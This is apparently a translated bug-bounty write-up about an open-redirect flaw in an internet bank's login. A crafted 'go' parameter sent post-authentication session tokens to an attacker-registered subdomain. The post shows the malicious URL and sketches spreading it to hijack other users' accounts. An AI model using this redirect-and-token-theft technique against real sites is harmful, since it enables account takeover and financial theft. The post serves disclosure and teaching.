Steal for 9 characters

Today I will tell you a story about a vulnerability that has existed in the same Internet bank for many years. Its operation was so elementary, and the danger was not so obvious that no one paid attention to it.

With this bank, I had an agreement on finding vulnerabilities and all my actions were sanctioned. That evening, I had already spent a decent time searching for more or less critical vulnerabilities and, having found nothing worthwhile, I was already desperate. But then my view caught on one parameter in a series of requests to the server at the time of authorization. By the way, this bank used an advanced and very reliable authorization technology, namely two-factor authorization via SMS. So, the GET parameter of the request, to which I paid attention, looked like: go=/path/to/some/page
go=/path/to/some/page
and was formed on the server side for further forwarding. But the problem was that the redirect path was relative and was added to the site domain and therefore I ignored this request in my previous research. In addition, in order for potential vulnerability to exist in it, a number of factors had to exist, namely:
one). possibility using the go
parameter value go
provide redirection to a third-party domain
2). opportunity on the client to set the value of this parameter
3). and finally, after authorization, when redirecting to a third-party domain, some valuable information should be transmitted

As a result, with little hope for any result, I began to look for ways to exploit potential vulnerabilities.

After some thought, I found the solution to the first of the three problems listed above. I suggest the reader also think about this task. At first glance, we have a relative path /path/to/some/page,
/path/to/some/page,
which is added to the site domain internet-bank.com
and the result is the address internet-bank.com/path/to/some/page.
How do we create a URL with a third-party domain? Who has guessed, can put himself a plus for ingenuity. Who wants to know the answer, read on. So, if we instead of /path/to/some/page
/path/to/some/page
add .some.domain.com,
.some.domain.com,
then get a link to redirect the view internet-bank.com.some.domain.com

')
Thus, the first item from the three listed above is completed, we formed the name of a third-party domain to which there is a potential opportunity to redirect the user. There are 2 more points left.

To perform step 2, I tried to log in to the Internet bank not from the address internet-bank.com,
and with internet-bank.com?go=/path/to/some/page.
And lo and behold, the server produced two-factor authentication and eventually redirected me to the address first internet-bank.com/path/to/some/page/?token=37C853F2CA868D819BD9514C3CCEB,
and then on internet-bank.com/path/to/some/page.
I have to log out and authorize from the address
internet-bank.com?go=.some.domain.com.
Having done this, I was thrown to the address internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB, internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB, so point 3 was executed automatically. Why this token was used in redirects for authorization, I did not understand, but in the end I had the opportunity to link internet-bank.com?token=37C853F2CA868D819BD9514C3CCEB
Log in from any computer without entering your login, password and SMS.

Mission completed.

What's next? And then register a second-level domain, for example como.wtf , distribute the link on the Internet internet-bank.com?go=o.wtf
and get access to other accounts in the Internet bank due to the transfer of authorization tokens to internet-bank.como.wtf


In the end, it turns out that in order to be able to hijack someone else's account, we just need to add to the completely safe Internet bank site address only 9 characters of the malicious code: "? Go = o.wtf"

And for myself, I made the following conclusion: if there is even the slightest probability of a potential vulnerability, it should be eliminated.